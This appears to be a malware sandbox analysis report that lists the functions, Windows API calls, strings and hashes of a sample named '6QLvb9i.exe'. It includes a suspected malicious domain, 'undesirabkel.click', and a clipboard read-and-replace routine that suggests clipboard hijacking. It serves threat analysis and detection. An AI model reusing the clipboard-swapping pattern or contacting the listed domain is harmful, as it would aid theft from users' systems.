Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 391ba6bed871447abfdad8a1d46af7a738aefda8dac280747a7ddfd3c03af811
Instruction ID: 7a1d6b116db2ae7bfb1af7e692b3f44bd75ac0295322012a9e1efd4dcafc7b8d
Opcode Fuzzy Hash: 391ba6bed871447abfdad8a1d46af7a738aefda8dac280747a7ddfd3c03af811
Instruction Fuzzy Hash: 4B31E43291020DEBCF269FB0CD189BA7B66FF08756B18416AFE5489121C372CCA1DBD1

Function 008E3961 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 008E39E9
RaiseException.KERNEL32(?,?,?,?), ref: 008E3A0E

Part of subcall function 008E701C: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,008D305D), ref: 008E707D

Part of subcall function 008EEB23: IsProcessorFeaturePresent.KERNEL32(00000017,008EA15B,?,?,?,?,00000000,?,?,008EE5BE,00000000,00000000,00000000,00000000,00000000), ref: 008EEB3F

Strings

csm, xrefs: 008E399D

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 9d88483188e6f4a78db09efcc845582002834db61e685a40113292bb3caff654
Instruction ID: 162a77b99e7b5fe75d104a75c22739c5023b884db9c14e14208e488fcbfed108
Opcode Fuzzy Hash: 9d88483188e6f4a78db09efcc845582002834db61e685a40113292bb3caff654
Instruction Fuzzy Hash: C1216231D00568ABCF24EF9AD849A9EBBB4FF46710F144429E446EB151D770AE85CB81

Analysis Process: 6QLvb9i.exePID: 7448, Parent PID: 7384COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	6.1%
Signature Coverage:	45.2%
Total number of Nodes:	263
Total number of Limit Nodes:	20

Executed Functions

Function 00412AE0 Relevance: 199.9, APIs: 4, Strings: 109, Instructions: 2152COMMON

Download Yara Rule

Strings

P, xrefs: 00413DF7
T, xrefs: 0041368A
i, xrefs: 004140B2
J, xrefs: 00413FF2
', xrefs: 00413431
h, xrefs: 00413DB7
D, xrefs: 004148D3
H, xrefs: 00412D2F
{, xrefs: 00413775
x, xrefs: 00413F8C
8, xrefs: 0041391E
k, xrefs: 00413946
[, xrefs: 00413685
U, xrefs: 0041368F
), xrefs: 0041440E
G, xrefs: 0041460D
/, xrefs: 00413471
R, xrefs: 00413DE7
~, xrefs: 00413F96
w, xrefs: 00413B9B
|, xrefs: 00414366
+, xrefs: 00413451
s, xrefs: 004137B5
u, xrefs: 00413785
G, xrefs: 00414A85
D, xrefs: 00413A4F
U, xrefs: 00413956
f, xrefs: 00414316
9, xrefs: 004148E2
t, xrefs: 004143A6
w, xrefs: 00413795
K, xrefs: 00413FE2
r, xrefs: 00413609
S, xrefs: 0041319C
#, xrefs: 00413411
y, xrefs: 00413F91
s, xrefs: 0041360E
r, xrefs: 004143B6
D, xrefs: 00414002
F, xrefs: 00414B81
j, xrefs: 00413DA7
V, xrefs: 0041395E
W, xrefs: 00413966
9, xrefs: 00413A67
9, xrefs: 00414B86
%, xrefs: 00413421
r, xrefs: 004137AD
F, xrefs: 00414A8A
9, xrefs: 004130C1
7, xrefs: 00412E72
T, xrefs: 00413DD7
), xrefs: 00413441
f, xrefs: 00414102
;, xrefs: 0041447E
U, xrefs: 00414022
F, xrefs: 00413A5F
D, xrefs: 004149DA
`, xrefs: 004139E1
G, xrefs: 004148D8
[, xrefs: 00412BAB
], xrefs: 00413E1F
D, xrefs: 004147A2
F, xrefs: 004147B2
G, xrefs: 00414B7C
p, xrefs: 004143C6
F, xrefs: 004143BE
w, xrefs: 004132A9
p, xrefs: 004132AE
], xrefs: 00413F87
G, xrefs: 004147AA
v, xrefs: 00414132
9, xrefs: 004147BA
`, xrefs: 00414346
d, xrefs: 00414326
U, xrefs: 004143AE
m, xrefs: 00414112
p, xrefs: 00414142
., xrefs: 00413469
\, xrefs: 00413E17
b, xrefs: 00414336
!, xrefs: 00413401
F, xrefs: 004148DD
F, xrefs: 00414615
q, xrefs: 00413604
9, xrefs: 0041461D
^, xrefs: 00413E07
N, xrefs: 00412CC8
_, xrefs: 00412CC3
V, xrefs: 00414032
F, xrefs: 00413680
V, xrefs: 00413DC7
o, xrefs: 00413926
#, xrefs: 00412F2A
G, xrefs: 00413A57
D, xrefs: 00414A80
i, xrefs: 00413936
x, xrefs: 00414386
9, xrefs: 00414A8F
[, xrefs: 00412E7C
D, xrefs: 00414B77
D, xrefs: 00414605
q, xrefs: 004137A5
z, xrefs: 00414376
v, xrefs: 00414396
-, xrefs: 00413461
D, xrefs: 00414565
Z, xrefs: 00413E27
~, xrefs: 00414356
y, xrefs: 00412FB2

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: !$#$#$%$'$)$)$+$-$.$/$7$8$9$9$9$9$9$9$9$;$D$D$D$D$D$D$D$D$D$F$F$F$F$F$F$F$F$G$G$G$G$G$G$H$J$K$N$P$R$S$T$T$U$U$U$U$V$V$V$W$Z$[$[$[$\$]$]$^$_$`$`$b$d$f$f$h$i$i$j$k$m$o$p$p$p$q$q$r$r$r$s$s$t$u$v$v$w$w$w$x$x$y$y$z${$|$~$~
API String ID: 0-529992945
Opcode ID: 1bf1f6ce02a28a924dbc251a8eaa20fca2bd84340316c8010ac14618e6ff074d
Instruction ID: 1f6c25f65d8c19952224d7ef5841d2ee8fed272e77010ce98a3a1de260d0f386
Opcode Fuzzy Hash: 1bf1f6ce02a28a924dbc251a8eaa20fca2bd84340316c8010ac14618e6ff074d
Instruction Fuzzy Hash: FC13EE7150C7D08AD3349B38884439FBBD16BD6324F198A6EE4E9873C2D7788986C75B

Function 00433A40 Relevance: 50.9, APIs: 2, Strings: 27, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433A89
GetSystemMetrics.USER32 ref: 00433A99

Strings

@C, xrefs: 00433C0B
DC, xrefs: 00433C58
DC, xrefs: 00433D08
LAC, xrefs: 00433C6E
LCC, xrefs: 00433C00
DC, xrefs: 00433C2C
DC, xrefs: 00433CDC
DC, xrefs: 00433CE7
DC, xrefs: 00433C8F
Z?C, xrefs: 00433CC6
>C, xrefs: 00433CBB
AC, xrefs: 00433C21
DC, xrefs: 00433C63
, xrefs: 00433B86
DC, xrefs: 00433C84
DC, xrefs: 00433D34
DC, xrefs: 00433CA5
WFC, xrefs: 00433D3F
DC, xrefs: 00433D55
DC, xrefs: 00433C42
U@C, xrefs: 00433D13
DC, xrefs: 00433C37
DC, xrefs: 00433D29
DC, xrefs: 00433CFD
sAC, xrefs: 00433C9A
DC, xrefs: 00433CB0
DC, xrefs: 00433D4A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: MetricsSystem
String ID: @C$ $AC$LAC$LCC$U@C$WFC$Z?C$sAC$>C$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC$DC
API String ID: 4116985748-3704155808
Opcode ID: d31bc50a20fb9f7a2ed9ad165400e6b57532bb19125055a1029f4e51e5d1c1cf
Instruction ID: a6e2c0e61f5a0db057401f503f7575ef398f21c0a1a0822daf7368cfff16f4bf
Opcode Fuzzy Hash: d31bc50a20fb9f7a2ed9ad165400e6b57532bb19125055a1029f4e51e5d1c1cf
Instruction Fuzzy Hash: 83B14DB080E3808FE360DF25D54878FBBE0BB95348F40892EE5AC5B351D7B855498F9A

Function 00438810 Relevance: 34.1, APIs: 11, Strings: 8, Instructions: 801
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C,00000000), ref: 00438A6B
SysAllocString.OLEAUT32(5DEB63D0), ref: 00438B1A
CoSetProxyBlanket.COMBASE(80B0E407,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438B58
SysAllocString.OLEAUT32(86D080D8), ref: 00438BF1
SysAllocString.OLEAUT32(87438537), ref: 00438C8B
VariantInit.OLEAUT32(FEF9F8F3), ref: 00438CF7

Strings

WQ, xrefs: 00438A91
QS, xrefs: 00438C51
TU, xrefs: 00438C59
:, xrefs: 0043896A
$z3, xrefs: 00438A30
*+, xrefs: 00438D31
jQG, xrefs: 00439134
NO, xrefs: 00438AA1

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: $z3$*+$:$NO$TU$jQG$QS$WQ
API String ID: 65563702-3151449071
Opcode ID: 74f3269a858181d3343f034394815bf1a8e2d7a100f180a4d367e238028fc44d
Instruction ID: a9161d38b9144b3b5fe2469b53ea45bb182ec265ec210fe5abea9be00dcb66de
Opcode Fuzzy Hash: 74f3269a858181d3343f034394815bf1a8e2d7a100f180a4d367e238028fc44d
Instruction Fuzzy Hash: 9E42F275A183418FD714CF24C88176BFBE2EBC9314F148A2DF9959B384DA78D805CB86

Function 052E1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 052E1032
OpenClipboard.USER32(00000000), ref: 052E103C
GetClipboardData.USER32(0000000D), ref: 052E104C
GlobalLock.KERNEL32(00000000), ref: 052E105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 052E1090
GlobalLock.KERNEL32 ref: 052E10A0
GlobalUnlock.KERNEL32 ref: 052E10C1
EmptyClipboard.USER32 ref: 052E10CB
SetClipboardData.USER32(0000000D), ref: 052E10D6
GlobalFree.KERNEL32 ref: 052E10E3
GlobalUnlock.KERNEL32(?), ref: 052E10ED
CloseClipboard.USER32 ref: 052E10F3
GetClipboardSequenceNumber.USER32 ref: 052E10F9

Memory Dump Source

Source File: 00000002.00000002.2978122475.00000000052E1000.00000020.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: true

Associated: 00000002.00000002.2978109357.00000000052E0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2978136508.00000000052E2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52e0000_6QLvb9i.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 5cae73dd5058b29d49aebfb63b42d4c2deaee97ac53901659af0e1c672fbf49f
Instruction ID: 95621cc8462a48d86a17ea300d260fc6ba4750fd6d09622e7b56f00cb63d3ff3
Opcode Fuzzy Hash: 5cae73dd5058b29d49aebfb63b42d4c2deaee97ac53901659af0e1c672fbf49f
Instruction Fuzzy Hash: D7216236628251DBD7252B71FC0EB6A7BACFF04651F440438F94BDA190EE718C10CAA1

Function 0040CF4B Relevance: 18.6, APIs: 2, Strings: 10, Instructions: 593
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040CF57
CoUninitialize.COMBASE ref: 0040D368

Strings

;L`R, xrefs: 0040D595
.H;N, xrefs: 0040D58A
NO, xrefs: 0040D6D7
undesirabkel.click, xrefs: 0040D34F, 0040D75F
5D1J, xrefs: 0040D57F
eXy^, xrefs: 0040D5B6
2C%M, xrefs: 0040D6CF
'T0Z, xrefs: 0040D5AB
>\-b, xrefs: 0040D5C1
qG!A, xrefs: 0040D345, 0040D34E

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: Uninitialize
String ID: 'T0Z$.H;N$2C%M$5D1J$;L`R$>\-b$NO$eXy^$qG!A$undesirabkel.click
API String ID: 3861434553-3327732460
Opcode ID: f81beb8bc823b0ab17ec4dbac681e76f7b5875fbd88d85f63c9a6d641fb8baac
Instruction ID: 4e28e1aba19a238113ccc76420930ae4a7c8fe5799e1fd2627bb5cc7d9fa1b2e
Opcode Fuzzy Hash: f81beb8bc823b0ab17ec4dbac681e76f7b5875fbd88d85f63c9a6d641fb8baac
Instruction Fuzzy Hash: 121202B194D3D08BD335CF6988A039BBFE0ABD7704F194A6DD4C95B281C779080ACB5A

Function 00424428 Relevance: 18.4, Strings: 14, Instructions: 929
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k, xrefs: 00424627
n, xrefs: 004245B5
DGF9, xrefs: 00424465
"S1], xrefs: 00424750
undesirabkel.click, xrefs: 004248FF
4C0M, xrefs: 00424728
RIB, xrefs: 00424944
W)Q, xrefs: 00424746
sI}, xrefs: 004247A0
#O>I, xrefs: 00424732
>;)_, xrefs: 00424612
6KaU, xrefs: 0042473C
76*l, xrefs: 00424619
d_xY, xrefs: 0042475A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: W)Q$sI}$"S1]$#O>I$4C0M$6KaU$76*l$>;)_$DGF9$RIB$d_xY$k$n$undesirabkel.click
API String ID: 0-190128279
Opcode ID: 218d75c6e22988f1f0f669196bf899996f64b65b098d5b9515c35cc28c36366d
Instruction ID: 8d9e751cd33326c90619974d004e71c895770be908fa5ce0b99b4b30318f998b
Opcode Fuzzy Hash: 218d75c6e22988f1f0f669196bf899996f64b65b098d5b9515c35cc28c36366d
Instruction Fuzzy Hash: AA622775A05265CFDB24CF68D8917AEB7B1FF8A310F1981A9D885AB391C3389C41CF94

Function 004253D0 Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 00425468
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 004254F5

Strings

B1SN, xrefs: 00425570
tu, xrefs: 004259DC
*+, xrefs: 00425416
V1SN, xrefs: 004255E3
CC, xrefs: 004256FB
TF, xrefs: 004256EB

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *+$B1SN$CC$TF$V1SN$tu
API String ID: 237503144-2259541044
Opcode ID: b43d5401ebc09f4c6b2f210451ee06baeaa0b5bcab11c477b5132d9bd48496f1
Instruction ID: 3dc3cbf52870092f0f89f85ff3e5def2e54ec604fc9373396f642c7ccddbb950
Opcode Fuzzy Hash: b43d5401ebc09f4c6b2f210451ee06baeaa0b5bcab11c477b5132d9bd48496f1
Instruction Fuzzy Hash: AEE1EEB460C3419FE310DF65E88122BBBE1FB92754F44892DF5D98B351E7788906CB4A

Function 00408710 Relevance: 7.7, APIs: 5, Instructions: 198
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408734
GetCurrentThreadId.KERNEL32 ref: 0040873E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408810
GetForegroundWindow.USER32 ref: 004088B1
ExitProcess.KERNEL32 ref: 00408988

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: caf7d2ed48392318f07a719794f2b6cbf143b1f66b72bb95d295ecdf61b6bb97
Instruction ID: c0cbbacdfe83a63257bf3a850ec5f564fef664cec2455f3354e4fc57ca3fa6f1
Opcode Fuzzy Hash: caf7d2ed48392318f07a719794f2b6cbf143b1f66b72bb95d295ecdf61b6bb97
Instruction Fuzzy Hash: A7515CB3F043154BD3186FB99D41356B6DA9BD9320F1E813EA894EB3D1E97CCC068285

Function 0041A5C1 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

]AYZ, xrefs: 0041A722
UIQR, xrefs: 0041A738
DGF9, xrefs: 0041A5F0, 0041A616

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9$UIQR$]AYZ
API String ID: 0-3587515206
Opcode ID: 4477277d9e4261e2bccd59990e1391cf44b81aba25c1255f347698af41407a52
Instruction ID: 8b807ed7e930fccdc12dda260e8ac4494169a15a63518cb57beb7f2617155549
Opcode Fuzzy Hash: 4477277d9e4261e2bccd59990e1391cf44b81aba25c1255f347698af41407a52
Instruction Fuzzy Hash: B7A146B69082418FD720DF29C8417ABB7E2ABC5314F09493EE4C987351EA38D856CB87

Function 0040E9AA Relevance: 5.3, Strings: 4, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b, xrefs: 0040EBA0
B:Y, xrefs: 0040EAD2
9558814C01798E4192A467F615F074C7, xrefs: 0040EAB9, 0040ECAC
B:Y, xrefs: 0040ECC5

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 9558814C01798E4192A467F615F074C7$b$B:Y$B:Y
API String ID: 0-1322530672
Opcode ID: 374e2a072585f90b05a58e06cfe216156896cb9d57cd4767977a2bd6530fb22c
Instruction ID: 97e3b14c5dff1ea3d27f8c3bcad5d8818ef7514d6832601b539168d80dc5fda7
Opcode Fuzzy Hash: 374e2a072585f90b05a58e06cfe216156896cb9d57cd4767977a2bd6530fb22c
Instruction Fuzzy Hash: 8491CB61908390ABD334DB65D8C57AB76E6DFDA305F08CC7EE0C5A7386EA384805835B

Function 0040C44A Relevance: 3.9, Strings: 3, Instructions: 116COMMON

Download Yara Rule

Strings

IF, xrefs: 0040C4EE
"J'H, xrefs: 0040C4E6
!N<L, xrefs: 0040C4DE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: !N<L$"J'H$IF
API String ID: 0-298508724
Opcode ID: df7c5f4c46c4aafd7794637c1140f3dc7aa649ba56e0f7238038ab05e1415751
Instruction ID: ecbabf0cef62d0087fb24aa0b1ca4eb5ff217640db9e9f5905b500a63a2a6a8a
Opcode Fuzzy Hash: df7c5f4c46c4aafd7794637c1140f3dc7aa649ba56e0f7238038ab05e1415751
Instruction Fuzzy Hash: 65312537B596408BD7088E398C9266BBAD3ABD1324F2E953DD595C72D0DAB888064B05

Function 0042DBBA Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 347COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042DFEE

Strings

J>I1, xrefs: 0042E14A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: J>I1
API String ID: 3960555810-2340248489
Opcode ID: d2eae05f1837390a8227488f1e02ca48103ac68915dcbd368410771acb8c52de
Instruction ID: 5a067d96a6b54ac35dceecf32f4f757806a4c71c0042123ee0e838f54e186332
Opcode Fuzzy Hash: d2eae05f1837390a8227488f1e02ca48103ac68915dcbd368410771acb8c52de
Instruction Fuzzy Hash: 1591047060C3E18BD7258F3A945076BBFE1AF97304F68496EE0E587392D7798806CB16

Function 0042DF11 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 312COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042DFEE

Strings

J>I1, xrefs: 0042E14A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: J>I1
API String ID: 3960555810-2340248489
Opcode ID: 1742dcf0bb8133a64bf996f7307e213e015294ff3d2f5f3cd55a9f684d76f810
Instruction ID: 8791c124e9d11c6ff49a38d72d9277c3adef9aa2c86be5cba1553304c0747746
Opcode Fuzzy Hash: 1742dcf0bb8133a64bf996f7307e213e015294ff3d2f5f3cd55a9f684d76f810
Instruction Fuzzy Hash: 5281F37050C3A08BD729CF3A946076BBFE1AF97304F54096EE0D587392D77A8806CB5A

Function 0043DCD0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00440DFD,00000002,00000018,?,?,00000018,?,?,?), ref: 0043DCFE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040DF94 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

DGF9, xrefs: 0040E07E

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID: DGF9
API String ID: 2994545307-3116493752
Opcode ID: 2997b4d1e09ac336366385dea160477889ed697fca72ef6923b4c5f052ebef96
Instruction ID: ffd57d549d9e711eb888ab506c042cf7cb7294066d29b737c72e21e4001de28a
Opcode Fuzzy Hash: 2997b4d1e09ac336366385dea160477889ed697fca72ef6923b4c5f052ebef96
Instruction Fuzzy Hash: 6E51E3716193418FE324CF15DC9076B77E2FBC8304F188E3DE58897295D7B898158B5A

Function 00440E20 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

@, xrefs: 00440EE9

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 50a5150196914d727b308fbf250ed5a531033c57065a5ae5f370cff60c88f17b
Instruction ID: a6409e8d78fb1479dc7df6cbf403b83a6e3d1faf7b7dedef47104820ae535332
Opcode Fuzzy Hash: 50a5150196914d727b308fbf250ed5a531033c57065a5ae5f370cff60c88f17b
Instruction Fuzzy Hash: 6F414872A052108BE724CF24C84126BB7A2FFC5324F1A862DE9D95B381D778DC19C7CA

Function 00440C70 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

@, xrefs: 00440D47

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 7717c3cd2b6612c86cd207795785b507492f725397fbdfb16a2c32e73ed07a2a
Instruction ID: 72f5677d689fe7d93cadad635dfec6f5a487e5df202c986ba498edfe6bb8ecff
Opcode Fuzzy Hash: 7717c3cd2b6612c86cd207795785b507492f725397fbdfb16a2c32e73ed07a2a
Instruction Fuzzy Hash: 5D4187B1A083108BD718CF64DC8562BB7A1EFC5314F14893DEA859B3A1DB399D19C786

Function 0043FC60 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

@, xrefs: 0043FCC8

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: e26e5e21c1a41cb9b26509b238a9e115e7131e2114877cc93638c94ea0227bc8
Instruction ID: 8b2af733be32325a9cbcebeb9b199b9dbc700485a1913470fb34c4546e7a22f5
Opcode Fuzzy Hash: e26e5e21c1a41cb9b26509b238a9e115e7131e2114877cc93638c94ea0227bc8
Instruction Fuzzy Hash: 1D3138725083048FC314DF18D88566BB7F6EBC9324F15993DE68587390D735D809CB6A

